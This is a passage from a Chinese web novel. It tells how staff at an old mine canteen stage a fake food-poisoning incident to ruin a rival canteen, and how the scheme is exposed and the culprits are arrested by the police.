今天来旧食堂吃饭的人格外多,前面打饭的人忙不过来,冯建平被刘师傅指挥着去帮忙。 他也不说什么打饭不是厨师应该干的事,乐颠颠地就去了前面。 旧食堂很久没这么热闹过了,不大的前厅里人满为患,排队打饭的人摩肩接踵,一大盆菜端过来,没一会儿就一扫而空。 冯建平一手拿勺子,一手接过饭盒,往里面打了一勺菜,想想又舀出一半。 来打饭的人有意见了:“哎哎哎,你怎么还把打好的菜往回舀啊!” 冯建平倨傲地说:“刚刚打多了,这才是本来的份量。你还吃不吃?不吃我全倒回去了啊。” 说着话,他作势要将饭盒里的菜全倒回大盆里,打饭的人急了,忙道:“要,要!谁说我不吃了!” 冯建平轻蔑地一撇嘴,将饭盒一把塞过去,滴下的菜汤弄脏了对方的衣服。 “赶紧走,别挡路,下一个!” 队伍里的人看到这一幕,嘀咕道:“这都什么服务态度……” “唉,还是新食堂好,那边什么时候打菜都是满满当当一大勺。” 旁边有人劝告:“再好也不能吃,万一菜里要是真有毒,你吃得越多就中毒越深!” “我就是说说……” 冯建平听到这些话,脸上不禁露出笑容。 新食堂再好有什么用,以后这帮煤黑子都得老老实实地来他们食堂吃饭。 当他正给下一个人打饭的时候,小年轻眼尖,指着大盆里菜嚷嚷:“有虫子!” 冯建平瞟了一眼,用勺子将菜汤上漂浮的虫子舀起,随手撇在地上,接着继续打菜。 小年轻不乐意了:“这菜里有虫子,怎么还能让我们吃?” 冯建平不耐烦地说:“你吃不吃?不吃就走,谁家地里种的菜能没虫子啊?显得你有多爱干净似的,都是惯的毛病。” 小年轻火气上来了,怒道:“生菜里可以有虫子,但做熟的菜里怎么能有虫子?!你们连干净都做不到,还好意思说我有毛病?!” 冯建平眼睛都不夹对方一下,挥了挥勺子,就像撵苍蝇似的。 “没事找事,你要是不吃就别挡在这儿,其他人还要吃饭呢。” 小年轻气得一伸手:“我不吃了,还我饭票!” 冯建平从筐子里摸出一张饭票,随手扔过去,饭票轻飘飘地落在地上。 小年轻捡起饭票,气呼呼地说:“我再也不来你们食堂吃饭了!与其花钱吃虫子,我还不如去新食堂呢!” 听到“新食堂”三个字,冯建平不屑地说:“不怕吃死人就赶紧去,反正死的不是我,你爱去新食堂就去,吓唬谁呢……” 小年轻大声地说:“我宁愿在新食堂吃中毒,也不会在你们食堂吃一口饭!起码新食堂拿我们当人看,做的菜干净好吃又便宜,打菜的人态度也好,我去新食堂从来就没受过气!” “谁愿意在你们食堂当冤大头就当吧!我是不会在你们食堂花一张饭票了!” 他说完,干脆利落地转身就走。 冯建平嗤了一声,懒洋洋地冲下一个人伸手要饭盒:“打什么?” 然而,下一个人并没有将饭盒递给冯建平。 他看看大盆里的菜,又看看地上的虫子,毅然决然地也转身走了。 “谁爱吃谁吃,我不吃了,我也要去新食堂。” 冯建平一愣,还没反应过来,队伍中的其他人接二连三地走了。 “呸,什么玩意儿,让我们吃虫子!” “烂食堂,倒闭了才好呢!” “不吃了,走了!” 仿佛一场雪崩,随着这几个人的离开,带动了更多的人离开。 都说由奢入俭难,在新食堂吃过饭的人如今再回到旧食堂,极为不适应,不管是难吃的菜,还是糟糕的服务态度,让人们积攒了一肚子的不满。 像是一个塞满了易燃易爆物的火药桶,那只虫子如同一颗火星,瞬间将火药引爆。 眼看食堂里的人少了一多半,冯建平难得地感到一丝心虚。 这,应该和他没关系吧…… 这一天,乌城出了件新鲜事。 有人在报纸上大幅刊登寻人启事,寻找某年某月某日中午在一矿新食堂用餐时晕厥抽搐者。 启事上写着,由于该人突然晕厥,之后被不明人员带离食堂,下落不明,不知生死。出于对客人的人身安全的担忧,一矿新食堂特此发布启事,寻找该名人员。 启事上还写了,由于该人在用餐时突发疾病,导致有人误认为这是由于食物中毒引起的,对新食堂的声誉造成了极大的损害。 为了证明食堂的清白,同时也是为了确保该人的安全,一矿新食堂特此发布寻人启事,并提供了该人的外貌特征和衣着打扮。 此外,寻人启事上还写了悬赏,凡是能将该人带到新食堂的,奖励五百元。 如果说读到前面寻人内容时,读者们还是看个热闹;可当看到后面的悬赏金额时,读者们沸腾了。 五百元啊! 这可是下井矿工半年的工资,普通工人一整年的工资! 而代价仅仅是找到这个人,简直是无本万利! 报纸上的一则寻人启事,让整个乌城都沸腾了。 “你认识报纸上这个人吗?不认识?你不是一矿职工吗?” “这个外貌形容,我怎么看着这么眼熟呢……” “哎,你在食堂吃饭的时候见过这人吗?” “能在一矿内部食堂吃饭的,怎么说也该是在一矿上班 的吧?要么是职工家属?” “我有个熟人好像就长这样……不管了,先把他带过去吧,五百块呢!” 新食堂重又热闹起来了。 有的人是受不了旧食堂、回来吃饭的;有的人则是在看到报上寻人启事后,带着疑似人员的下落线索来领悬赏的。 还有人是来凑热闹的,既想看看是什么人惹出这么大的动静,又想尝尝这食堂的菜有多好吃。 人群乱糟糟的,把新食堂围了个水泄不通。 然而,新食堂内忙而不乱,来吃饭的人和来领悬赏的人从门口就被分流,井然有序,互不打扰。 田润花是少数几个亲眼见过晕厥者样貌的人,她负责辨认带来的人是否就是他们寻找的那个人。 “这个不是,长得不一样,他眼睛太大了。” 眼见五百块要飞走,对方急了,把带来的人不住地往前推。 “你再看看,他当时是抽抽了才显得眼睛小,其实他本人眼睛很大的!” 那人也很配合,努力将眼睛眯成一条缝。 田润花无语道:“长得不像就是不像,你就算把眼睛闭起来也不是一个人。” 这两人悻悻地离开,远远的,还能听到被带来的那个人抱怨道:“我就说不行,你非让我来,被人发现了吧?” “万一没发现的话,不就有五百块了吗?咱俩对半分多好……” “五百块一人一半是二百五……你特么才二百五!” 田润花忍笑,扬声冲后面喊:“下一个!” 与此同时,旧食堂的后门传来低声的争吵。 “都怪你!这下好了,我连门都不敢出!” “这怎么能怪我,你自己当时不是也乐意装病吗?你自己说你特别会装羊癫疯,要不我干嘛找你帮忙?我还请了你一顿酒了呢!” 说话的人声音有些陌生,而回答的人说话声音却很耳熟,是旧食堂的刘师傅。 那人说:“我不管……反正你得把这事给我解决了!再这么下去,我迟早得被人找出来!” 刘师傅出主意:“找出来就找出来吧,你就咬死说之前在新食堂吃中毒了,公安也拿你没办法。” 那人迟疑了一瞬:“……不行!万一要是公安查出来的话,我不就得坐牢了吗?” 刘师傅不耐烦了:“那你要怎么办?” 那人说:“你得给我一千块钱!” 刘师傅大惊:“一千块?你怎么不去抢!” 那人坚持道:“又不是给我一个人的,人家也不能白帮忙,总不能让我掏钱吧!” 刘师傅心疼地直嘬牙花子。 “一千块不可能,最多给你两百!” 那人嘟嘟囔囔:“两百块……我还不如去新食堂自首呢,至少人家给五百块。” 两人讨价还价,最终将价位定在了三百七十五块钱。 刘师傅心疼地从兜里掏出钱,沾了点唾沫,数出三百七十五块,有零有整,一分不差。 那人拿了钱,刘师傅嘱咐道:“你先去外地躲几天,等没事了再回来了。” 那人摆摆手,将头上的帽子往下压了压,说道:“行了,还用你说,我走了。” 刘师傅目送他消失在拐角处,不知为何,突然有种不祥的预感。 他强自压下心中不安,心中算计着要做多少假账才能把他今天这三百七十五的损失弥补回来。 唉,都怪姓贺的,真是害人不浅! 装晕厥的人并不知道刘师傅的复杂心情,捂着兜里的钱,心情愉快,脚下步伐更加轻快。 他对一矿的路很熟,一路挑着人少的地方走,还真让他没遇到什么人。 他没走一矿的正门,而是选了很少有人出入的侧门。 但侧门是锁着的,在两扇铁门之间松松地挂了一条生锈的铁链。 他像是没看到门锁了,径直走过去,用力拉开铁门,从两扇铁门中的缝隙中灵活地钻了出去。 这时,后面有人喊他:“同志,等等,别关门,我们也要出去!” 忽闻人声,他下意识回头看去,见两个人气喘吁吁地朝这边跑过来。 双方对上正脸,喊话的人脚步一停,惊喜道:“哎,他好像是那个报纸上的人!” 同伴附和道:“确实像,眼睛也不大……” 听到两人的话,他脸色一变,转身就要走。 后面的人急了:“哎,别走啊!” 同伴也急了:“快去追!五百块,咱俩一人一半啊!” “我的二百五,别跑!” 新食堂,田润花发现之前离开的两个人又去而复返,还又带了一个人过来。 “都和你们说了,不像就是不像,你们怎么又来了?” 两个人衣服被扯得乱糟糟的,脸上却带着老农丰收般的快乐笑容,强行将第三个人推到前面。 “这个该是五百块了吧!” 田润花吃惊地站了起来,指着第三个人大喊: “就是他!别让他跑了!” 第120章 第120章真相大白 “听说了吗?前两天在新食堂中毒的人刚刚找着了……” “真的假的?谁运气这么好找着了?找着人可是有五百块呢!” “哎,怎么不是我找到的……我也想赚这五百块……” “中毒的人还活着?不是都说人死了吗?” “快走,那人现在就在新食堂呢,咱们也去看看!” 正值下班时间,源源不断的人涌向新食堂,大伙儿不急着下班回家,都来看热闹了。 “五百块”戴着帽子,愤愤不平地坐在角落,不管别人问什么,他只重复一句。 “你们食堂欺负人!凭什么不让我走!放开我,我要回家!” 这家伙原本是想跑的,但大集体职工里的小年轻们都憋着一把火,三四个人同时看着他,才迈出一步,就被人七手八脚地拽了回来。 田润花脸上带着笑,话语中却带着不容反驳的意味。 “同志,谁欺负你了,这话可不能乱说啊。不是说你在我们食堂吃中毒了吗?我们怕你真出事儿了,好心好意想带着你去看病,这怎么能说是欺负呢?” 田润花也是练出来了,再不复刚来饭店时怯生生的模样,说话做事很有模样。 “五百块”眼睛一转就说:“我是在你们食堂吃的中毒了,但我想着你们做买卖不容易,有什么委屈我自己咽了就得了……怎么我这一片好心,还落上毛病了?” “不嫌单位”兄“嘁”了一声。 “还不容易、咽委屈……合着之前来闹事的不是你啊?” “五百块”狡猾道:“那确实不是我,我兄弟看不下去,非要给我讨个公道,硬拿担架把我抬过来的,我本来是不想闹大的……可要是你们继续不让我走,咱们就要好好说道说道了。” “不嫌单位”兄气道:“你这是耍赖!” “五百块”撇着嘴角,眼睛都不夹一下这个鲁莽的小年轻。 围观群众听得津津有味,这可比电视机重播了好几遍的《武松》有意思多了。 有人觉得新食堂这边说得对,有人觉得“五百块”那边有道理,两房似乎都有理由,又似乎也有可以被攻讦的弱点。 大伙儿就都不说话,屏气凝神地听双方接下来要干什么。 “五百块”站了起来,压压头上戴着的帽子,抬脚就要走。 田润花急得伸手拦住他:“话没说清楚,你不许走!” “五百块”抬手就推田润花:“你还能拦得住我了!” 眼见新食堂这边节节败退,原本站在这一边的人心中不由得动摇起来。 难道这人说的都是真的……新食堂的饭菜真有问题吗…… “五百块”环顾一圈人群,故意高声道: “哼!这年头真是好人没好报!我高抬贵手放你们食堂一马,你们还来劲儿了!我警告你们,要是再拦着不让我走,我就去找公安,让公安来好好教训你们!” “行啊,那就找公安吧。” 一道清亮而熟悉的女声从人群后方传来,众人回头看去,见来的人是贺明珠,便让开一条路来。 贺明珠走了过来,直视着“五百块”,语气平和地说:“既然你要说道说道,那咱们就好好说道说道吧。” “五百块”警惕道:“你是谁?” 来了撑腰的,田润花的嗓门都响亮起来:“这是我们食堂的贺老板!” “五百块”半信半疑地问:“这个小姑娘就是你们老板?她能做主?我要什么都行?赔钱也行?” 贺明珠说:“对,你有什么要求都可以向我提。” “五百块”眼中精光一闪,贪婪又轻蔑地看向贺明珠,右手下意识摸了摸口袋里的钱,故作大度地说:“行,那就说道说道吧。” 贺明珠扬声问道:“你口口声声说在我们食堂吃中毒了,可那天来吃饭的有几百号人,我们自己的职工也吃同样的菜,这么多的人,怎么就你中毒了?” “五百块”混不吝地说:“我倒霉呗,就那一勺子菜里有毒,正好轮到我了。” 旁边的人听这话感觉不对劲,低声讨论:“哪有这么巧的事儿?食堂不都是大锅菜吗,怎么就他吃中毒了……” 闻言,“五百块”连忙又补了一句:“我这人天生的肠胃弱,别人吃着没事儿,我不行,沾一点毒素都受不了。” 个体差异的补丁一打,似乎听起来还挺有道理。 贺明珠不动声色,紧接着又问:“就当你说的是真的,那你中毒后去了哪家医院看病?为什么我们食堂职工当天找遍了乌城的医院,都没有找到你?” “五百块”没想到他们居然这么较真,还真跑医院找人了,一时有些语塞。 “就、就、就……” 他说不出医院名称,想瞎编一个,又被被当面拆穿,随口扯了一句:“谁说我去医院了?我到卫生院抓了点药,回家自己治的。” 贺明珠连环逼问道:“没去医院?那说明你中毒并不严重,自己吃点药就能好……那为什么你兄弟会用担架把你抬到我们食堂,口口声声说你死了?” “五百块”抓耳挠腮,紧迫间编不出新的理由。 贺明珠又问:“所谓的‘菜里有毒’、‘吃死人了’——有毒的是哪道菜?吃死的又是谁?” 在贺明珠的步步紧逼下,“五百块”失了之前的淡定,慌慌张张地说: “就是那道、那道……对了,红烧肉!就是红烧肉有毒!” 贺明珠突然笑了。 “五百块”被她笑得浑身发毛,色厉内荏地吼:“你笑什么?!” 贺明珠说:“我笑你来食堂闹事却不知道要先实地考察——我们食堂什么时候也没上过红烧肉这道菜!” 由于现在大批量购买猪肉要以公对公的形式与肉联厂对接,虽然贺明珠打着大集体企业的旗号,但能从肉联厂分配到的猪肉份额极为有限,无法大批量供给食堂使用。 因此,红烧肉这道菜至今为止未曾上过食堂的菜单。 “一道从未出现在食堂的菜,你是怎么能吃到中毒的?” 听到贺明珠的话,众人皆是一片哗然。 “这不是瞎扯吗?我在新食堂吃了这么久的饭,就从来没吃过红烧肉。” “怎么越听越不对劲,难不成还真是来闹事的?” “果然和我猜的一样,我就说是有人存心使坏,新食堂都开了这么久,再加上之前的煤矿人家,就没听说过有谁吃出毛病了……” “五百块”脸色苍白地大喊:“我记错了!我吃的、吃的是,是烧羊肉!” 他之前听人说过一矿新食堂的烧羊肉特别好吃,这道菜总该在菜单上吧? 然而,随着“烧羊肉”三个字被喊出来,整个食堂都陷入了诡异的安静中。 “五百块”眼球乱转,不安地四处张望。 他又说错什么了吗…… “不嫌单位”兄按捺不住,跳出来喊道:“什么烧羊肉,你编谎话怎么都编不圆?自从入春后,我们食堂就没采购过羊肉了!” 草原严酷的寒冬,羊群无法在草场上自由觅食,只能留在圈里吃干巴巴的青储草料。 一个冬天下来,原本肥美的羊瘦了一大圈,走起路来四条腿颤颤悠悠,一抓一大把羊皮,就像大胖子过快减肥后身上的多余赘皮。 春天的羊骨头多肉少,是最不适合宰杀的时候,新食堂已经很久没有采购过羊肉了,烧羊肉这道菜也在菜单上消失很久了。 新食堂的熟客都知道这件事,还有不少人去打听什么时候会再上烧羊肉。 因此,当“五百块”说出“烧羊肉”这三个字时,在场的人都确定了,他就是骗子。 “你这人咋这样呢?一个大男人,有手有脚的,干什么不行,装病讹人,真让人看不起!” “呸!亏我之前还相信你,真是瞎了眼了!” “贺老板,别和他废话了,把他交给公安吧!” “对,就该让公安把他关起来,送到劳改农场去!” “五百块”急了,连声地说:“我记错了,记错了,不是烧羊肉,是炒菠菜!” 他这次倒是说对了,菠菜是春天的时令菜,食堂每天都有这道菜。 但现在已经没有人相信“五百块”的话了,众人义愤填膺,要把这个愚弄群众的坏人送进监狱。 “五百块”见势不妙,当机立断,一头栽倒在地,四肢抽搐,口吐白沫,活灵活现地现场表演起了羊癫疯。 “都别碰他!” 贺明珠高声喊道:“大伙儿都退后一步,离这人远点儿。” “不嫌单位”兄急道:“老板,别信,他这是装病!” 贺明珠低声说了句“我知道”,接着便转 过身,扬声对众人说道: “大伙儿都看清了吧,没人碰他一下,他也没在我们食堂吃东西,是他自己突然犯病的,之后他要是再来闹事儿,还请大家给我们做个证。” 众人纷纷说:“放心吧,我们都看得清清楚楚的,他自己犯病的,谁也赖不着!” 贺明珠双手合十,感谢地对众人拜了拜。 接着,她对大集体的小年轻们说:“还等什么,送人去医院啊!这次一定要从头到脚,从里到外,细细致致地给他检查一遍。免得再有人来闹事,说他这是在我们食堂中毒的后遗症。” 小年轻们积极响应:“放心吧老板,我们会好好看着他的,绝不会让他半路跑了!” 贺明珠欣慰点头,补充了一句:“记得问清楚他叫什么名字、住在哪儿,公安的同志还等着他到案配合调查呢。” 在地上翻滚抽搐的“五百块”一听不对,也不装了,一骨碌爬起来,低着头就要往外逃。 然而,他才跑出没两步,就被大伙儿七手八脚地摁住了。 “干了坏事还想跑?!把他押到公安局去!” 看了一场高|潮迭起的好戏,大伙儿们都兴奋极了,乌央乌央的一群人“簇拥”着“五百块”,就朝离一矿最近的公安局进发。 这浩浩荡荡的一群人走在马路上,中间还押送了一个拼命抵抗的男人,吸引了不少人的注意。 有路人好奇地凑上去打听,得知这人就是之前寻人启事要找的“五百块”。 他惊讶道:“你们这么多人去领赏金啊?五百块够分吗?” 被问到的人就说:“什么领赏,不要用这么庸俗的词来形容,我们分明是见义勇为。” 路人再问下去,得知原来是“五百块”恶意陷害一矿新食堂,现在要被押至公安局,接受法律的审判。 “所以说,你们矿上的新食堂压根就没出现食物中毒,是被人诬陷的?” “可不是嘛,这人心可太坏了!要不是因为这事儿,我至于去旧食堂吗?又贵又难吃,还不干净,我真是想想都要吐……” 路人被勾起了兴趣,又问:“我不是你们一矿职工,能不能也去新食堂吃饭?” “呃……” 被问到的人一想到之后可能的新食堂爆满的场景,头皮都有些发麻。 现在一矿来新食堂吃饭的人已经够多了,如果再加上外面的人,那队伍得排多长啊…… 他脑中灵光一闪,机智地说:“内部食堂不招待外人,不过你可以去乌金年代吃饭,这家饭店和我们食堂是同一个老板。” 路人连连点头:“我听说过这个饭店,不过还没去过。听你这么说,看来要抽空去一趟了。” 吃货关心的是能不能吃到美食,而更多的人则被接连反转的食物中毒新闻吸引了注意力。 矿务局不大,一传十,十传百。很快,大部分人都知道了有人假装食物中毒,在一矿新食堂闹事,先是被寻人启事的五百块悬赏抓住了人,接着又被食堂老板当场拆穿了谎言,现在已经被公安抓起来了,用不了多久就能在公审大会看到犯人了。 刘师傅从家人口中听到这件事,一张胖脸唰地一下变得惨白。 他惊慌失措地冲进里屋,翻出了包就往里面塞衣服和钞票。 刘师傅媳妇跟进来问:“你这是在干什么?你拿着钱要去哪儿?” 刘师傅塞了两件衣服,要再塞一件时,手抖得塞不进去,于是他拿起包就往外走。 “我、我要去外地待几天……要是有人问起,你就说我出差了……” 刘师傅媳妇追在他身后,不住地问:“你要去哪儿?出什么事儿了?你一句话不说,家里怎么办?” “问问问,问什么问!” 刘师傅爆发了,眼角瞥到上锁的柜子,又急忙打开柜子,从里面掏出一把粮票,塞进自己口袋。 刘师傅媳妇拦着不让他走:“这是全家人的口粮!” 刘师傅一张脸涨红,将媳妇推倒在地:“滚开!” 他拎着包,急匆匆地往家门口走。 然而,当他拉开门时,门外是几个正要敲门的公安干警。 “刘小军,你涉嫌一起诬告陷害案,跟我们走一趟吧!” 刘师傅双腿一软,竟当场跪倒在地。 此时此刻的冯家。 冯建平眼睛盯着隔壁的房间,里面传出一阵阵的欢声笑语。 “哼,有什么好高兴的,吃了喜鹊屁了……” 他没什么朋友,下班也早,此时还不知道新食堂发生的事。 冯建平的女儿蹦蹦跳跳地进了屋,手上拿着一个咬了一口的大肉包,嘴里高兴地哼着“小燕子,穿花衣,年年春天来这里~” 冯建平喊住女儿:“哪儿来的包子?” 小女孩看到是他,怯怯地把包子往身后藏了藏,小声地说:“是爷爷给我的……” 冯建平呵斥道:“你有没有出息?他给你包子你就吃啊!一点骨气都没有!把包子给我!” 小女孩不想给,这个包子她才吃了一口,很好吃的呢。 “给我!”冯建平提高了点音量。 小女孩往后退了退,瘪着嘴,要哭不哭的。 冯建平站起身来,仗着相对于小孩的身材优势,劈手扯过小女孩胳膊,掰着她的手指,将包子抢了过来,随手掼在地上。 “就为了一口包子,没出息!” 扔完不解气,他还上脚碾了几下,直到包子被碾成一坨沾满了泥土的脏污。 小女孩看看包子,“哇”地哭出了声。 “又怎么了?” 大儿媳听到哭声从外面进来,扯过小女孩,拿衣袖给她抹了抹眼睛。 “好端端的哭什么?” 小女孩哭得口齿不清,指着地上的包子残骸说:“包子……他把我的包子弄脏了……” 大儿媳狠狠的一记眼刀劈向冯建平:“你出息了啊,一个大男人还欺负自家闺女!把包子捡起来!” 冯建平蹲下身,拿废纸把包子捏起来,嘟嘟囔囔地说:“都分家了,谁让这丫头没出息,还吃那边的包子……” 大儿媳骂他:“分家又怎么样!那到底是亲爷爷亲奶奶,孙女吃个包子怎么了?!” 小女孩抽抽噎噎地说:“妈,我才咬了一口……” 大儿媳哄她:“哭什么,再找你爷爷要一个不就得了。” 冯建平试图阻拦:“都分家了……” 大儿媳理都不理他,牵着女儿的手就去了隔壁。 不多时,传来冯解放哄孙女的声音,以及小女孩带着哭音的话“包子好吃,我就喜欢吃爷爷做的包子”。 冯建平悻悻地把废纸往外面垃圾堆一掼,砸得满地都是包子馅儿。 都是什么人!一点骨气都没有! 第二天,冯建平蔫蔫地骑着车来到单位,却见门口贴了一张大红的告示,一群人围着看。 他推着自行车,不方便挤进人群,听到有人念着告示上的内容。 “……经化验,送检样品不存在有毒有害物质,对人体没有任何不利影响……” 看完告示的人互相问:“这是什么意思?新食堂的菜没毒?” “真的假的?谁化验的啊?” “好像是公安指定的检验单位,听说仪器都是外国进口的……” “哈哈,我就知道,贺老板开的食堂怎么会发生食物中毒呢!” “妈的,终于不用去旧食堂吃垃圾了,昨天吃得我都快吐了!” “太好了,又能回新食堂吃饭了!” 欢乐的人群中,冯建平呆立原地,整个人像是被雷劈了。 怎么会这样……【你现在阅读的是魔蝎小说 moxiexs】 120-130 第121章 第121章事后余震 冯建平一路上失魂落魄,也不知道自己是怎么走到旧食堂的。 与前几天的热闹不同,今天的旧食堂冷清极了,前厅空空荡荡,走进去时似乎都能听到脚步声的回音。 冯建平楞了一下,苦涩地意识到,又来了。 只要新食堂在,工人们宁愿绕路也要去新食堂吃饭……明明,是他们食堂离办公区更近…… 后厨没开火,也没看到刘师傅,几个厨师凑在一起,不知在说什么。 冯建平提起了点精神,笑呵呵地提醒道:“大伙儿都干什么呢,快到早饭时间了,怎么还不做饭啊?” 厨师们闻声看过来,脸上写满了不安。 “冯师傅,出事儿了……” 冯建平又有一种不祥的预感。 “出什么事也得做饭,天塌下来有领导顶着呢,咱们怕什么?” 冯建平这么说着,不知道是在安慰厨师们,还是安慰他自己。 有个年轻厨师苦着脸说:“就是领导出事儿了……刘师傅被公安抓走了!” “什么?!!!” 冯建平大惊失色,旋即脑海中涌上一个糟糕的念头。 不会吧……不会是刘师傅找人去新食堂闹事儿被发现了吧…… 他腿软得有些站不住,下意识扶住一旁油腻腻的台案。 年轻厨师还在说:“我家就住刘师傅隔壁,亲眼看到昨晚上公安上刘家逮人,当时就给刘师傅戴上手铐了……怎么办啊,要不我们去找后勤主任汇报吧,这食堂不能没有大师傅啊……” 冯建平耳中嗡嗡的,已经什么都听不到了。 他心脏狂跳,不断地自我安慰,闹事儿的人是刘小军找的,和他冯建平和没关系,就算要坐牢也是他姓刘的去坐,不管他姓冯的事。 就算公安来找自己,冯建平也能理直气壮地说这事儿他不知情,他可是良民,从来不懂这些违法乱纪的脏事儿。 冯建平甚至有些庆幸,幸好姓刘的嫌他成事不足败事有余,自己亲自联系的人,要不然现在他就算浑身长满了嘴也说不清了。 “行了,离后勤主任上班时间还早着呢,先做早饭吧,总不能让人来了 没饭吃,那样就成了我们的责任了。” 听到冯建平的话,厨师们也渐渐冷静下来,尽管还有些心不在焉,把糖当成盐,但还是磕磕绊绊的,按照平日的流程制作起了早饭。 在安抚其他人的同时,冯建平也说服了自己,虽然脸色苍白,握着菜刀的手不稳,但从表面上看,和平时并没有太大不同。 没事的,没事的,公安不会知道的……就算公安知道,不,公安不会知道,他什么都没干…… 像洗脑般,冯建平反反复复在心中重复这几句话,直到他自己也快信以为真。 然而,就在此时,忽然有人进了厨房,扬声问道: “冯建平?冯建平在不在?” 众人闻声看去,只见穿着白色制服的公安堵在厨房门口,锋利的目光探寻地从每个人脸上刮过。 “我们是乌城公安局的,冯建平涉嫌一起诬告陷害案,要跟我们走一趟。哪个是冯建平?” 厨师们下意识看向角落里的冯建平。 冯建平手一滑,厚重的菜刀当啷一声砸在了地上。 旧食堂出事儿了! 在缺少即时通讯手段的年代,这个消息像是插了翅膀,转瞬间传遍了整个一矿。 在继刘小军被公安逮捕后,冯建平也被公安从单位带走了。 警车停在办公楼门口,楼上不少人隔着玻璃看到冯建平瘫软着两条腿,被公安干警架着胳膊,按着头塞进了车厢里。 几个一矿的领导在楼下和公安交涉,远远地听不清声音,只能看到他们脸上焦躁和烦闷的表情。 楼上的人看得不过瘾,纷纷打开窗户,探出身往下看,还时不时和左右的人探讨。 “什么情况?哪个科室的人被抓了?” “这人是食堂的,我前两天打菜的时候见过他,可不地道了,打一勺菜还要舀回去半勺!” “又怎么了?没听说矿上最近出事儿啊?” “还没出事儿?忘了昨天新食堂那事儿了?” “啊?你意思这是旧食堂找人干的?不至于吧?” “怎么就不至于了?夺人钱财如同杀人父母,新食堂抢了旧食堂多少生意,旧食堂可不就得报复回去嘛。” “那旧食堂的人可真不要脸,分明是他们做饭难吃又不干净,和人家新食堂有什么关系?合着我想吃口顺心的,还得看他们脸色不成?” “马克思不是都说过嘛,只要利润够高,资本就敢犯任何罪行,上断头台都不怕。” “老马的原话不是这个吧?” “你这人,知道个大概意思就行了,还和我抠字眼……” 有人提出异议:“可食堂是公家的,和资本有什么关系?” 知道内情的人热心讲解:“食堂是收饭票的,饭票和绩效挂钩。自从开了新食堂,这旧食堂每个月发的绩效是越来越低,能不生气吗?” “噢……” 众人都恍然大悟了。 难怪旧食堂要找人污蔑新食堂的菜里有毒,要是不这么干的话,一矿职工们习惯了新食堂干净美味的食物,才不会主动去旧食堂找罪受。 幸好真相大白,不然他们以后就得捏着鼻子去旧食堂,吃那些缺斤短两还泡着虫子的难吃菜了。 忽然有人来了一句:“哎呀,幸好旧食堂只是找人假装中毒,要是真在饭菜里下毒,那我们不就全都中毒了吗?” 众人原本还没想到这一层,被他这么一提醒,立刻反应过来。 对啊!要是闹事不成,旧食堂派人去投毒,那遭罪的可就是他们这些食客了。 想到这里,众人看向楼下警车的眼神不由变得凶狠了些。 正当竞争比不过新食堂,就干这种下三滥的脏事儿,真是下作! 众多不善的视线透过警车,投向车内的犯人,冯建平莫名瑟缩了一下。 旁边的干警呵斥道:“坐好了!别乱动!” 冯建平畏惧而讨好地冲干警笑:“首、首长,我是无辜的,我什么都没干啊……” 干警严肃地说:“首先,我不是什么首长;其次,无不无辜你自己说了不算,我们会依法查清你到底干了什么!” 冯建平脸上的笑撑不住了,瑟瑟地将自己缩成一团。 他真的没干什么…… 那只死耗子,虽然当时他是想扔到汤里,等喝汤的人发现了,那不得恶心得再也吃不下去新食堂的饭么……可说到底,他最后不也没扔成吗…… 没干成的事,不能怪他吧…… 这时,警车外忽然传来喧闹声。 “同志,同志,车里的是我儿子,他到底是犯了什么罪,要被你们抓起来啊?” 冯建平惊喜极了,是冯解放! 他身上还穿着在食堂干活的工作服,帽子也没来得及摘,听说冯建平被公安逮捕后,他气喘吁吁地从新食堂一路跑了过来。 不知从哪儿来的力气,冯建平拼命将身子往车门的方向探。 “爸!爸!快救救我!我不要去公安局!” 冯解放急忙走到车门旁,对干警恳求道:“能让我和他说几句话吗?” 对着头发花白、一脸恳切的冯解放,公安干警犹豫了一下,默默让开一点空隙,让冯解放能看到冯建平。 冯建平脸上涕泪横流,哭着向冯解放说:“爸,我知道错了,你救救我吧!我还年轻,我不能坐牢啊!我要是坐牢了,下辈子就全完了!” 看着他这副可怜样,冯解放又气又无奈,连声地问:“你都干了些什么!” 冯建平嚎哭着说:“我没干什么啊!闹事的人是刘小军找的,我什么都没干,他让我往你们食堂的菜里扔死耗子,我最后也没扔啊!” 听到冯建平的话,冯解放惊愕极了,脚下一软,竟连退了几步。 “你、你说什么?” 冯建平不觉有异,兀自嚎啕大哭:“是刘小军说要把你们食堂闹到倒闭,他找人假装中毒,让人去闹事,要把你们食堂的名声搞臭了,这样工人就都来我们食堂吃饭了……他还让我去扔死耗子,可我最后也没往你们汤桶里扔啊!” 中毒。闹事。死耗子。汤桶。 冯解放还没老到脑子糊涂的时候,听了冯建平的话,立刻就将一连串的事都连起来了。 原来,上次冯建平自告奋勇要来新食堂帮忙,是想找机会往菜里扔死耗子,以造成新食堂的菜有问题的假象。 而基于新食堂严格的管理制度,冯建平没能进入后厨,被杨冬梅挡在了门外; 冯建平又想往汤桶里扔死耗子的企图,阴差阳错间,被误以为他要白吃白喝的二愣子给阻止了。 但凡这其中有哪个环节有疏漏,那么就不是有人假装中毒来闹事,而是借着这只在菜里发现的死耗子大做文章了。 想明白这个关窍,一瞬间,冯解放像是苍老了十岁。 这就是他悉心养育三十年的儿子…… 即使是之前冯建平嚷嚷着要分家,冯解放也没有此时这般的绝望。 而冯建平未察觉,犹自冲着冯解放哭嚎:“爸,你得救我,我可是你亲儿子啊!” “我救不了你。我没有你这个儿子。” 冯解放的声音轻飘飘的,没有气力,虚弱得像是一阵风就能吹走。 冯建平的哭嚎戛然而止,他不可思议的看向冯解放。 “爸?” 冯解放驼着背,慢慢转过身,再也不看冯建平一眼,对车旁的干警点头致谢,说了句“给您添麻烦了”。 干警也听到了冯建平的话,和抢劫杀人的罪犯相比,他的行为就像是恶作剧一样。 他对冯建平提议道:“您要是不懂法律的话,可以给他找个律师。” 冯解放却摇了摇头。 “做错了事,总要承担后果。我这三十年都没教好他,就让国家来教吧。” 冯建平从这话语中 听出不祥的意味,惊骇地喊了句:“爸?” 冯解放不再回头,以老年人特有的迟缓步伐,慢慢地走了。 冯建平急了:“爸,爸!爸!!” “爸,我错了!你别走!回来啊,爸!!!” 楼上楼下的人都听到了冯建平这一声撕心裂肺的爸,然而,众人对冯建平却没有一丝同情。 “活该!还想往汤里扔耗子,真够恶心人的!” “还好没扔进去,要不然我光是想一想都要吐出来了。” “新食堂做菜干净利索得很,一般人压根进不了厨房,想靠近都有会有人拦。” “说起来我在自己家里做饭时,有时候还会掉根头发进去,可在新食堂吃了这么久的饭,硬是一根头发都没见过,真了不起。” “以前我媳妇还总说外面的饭不干净,新食堂摆在这儿,她可就没话了。” 同一时间,有人在夸新食堂,也有人在骂旧食堂。 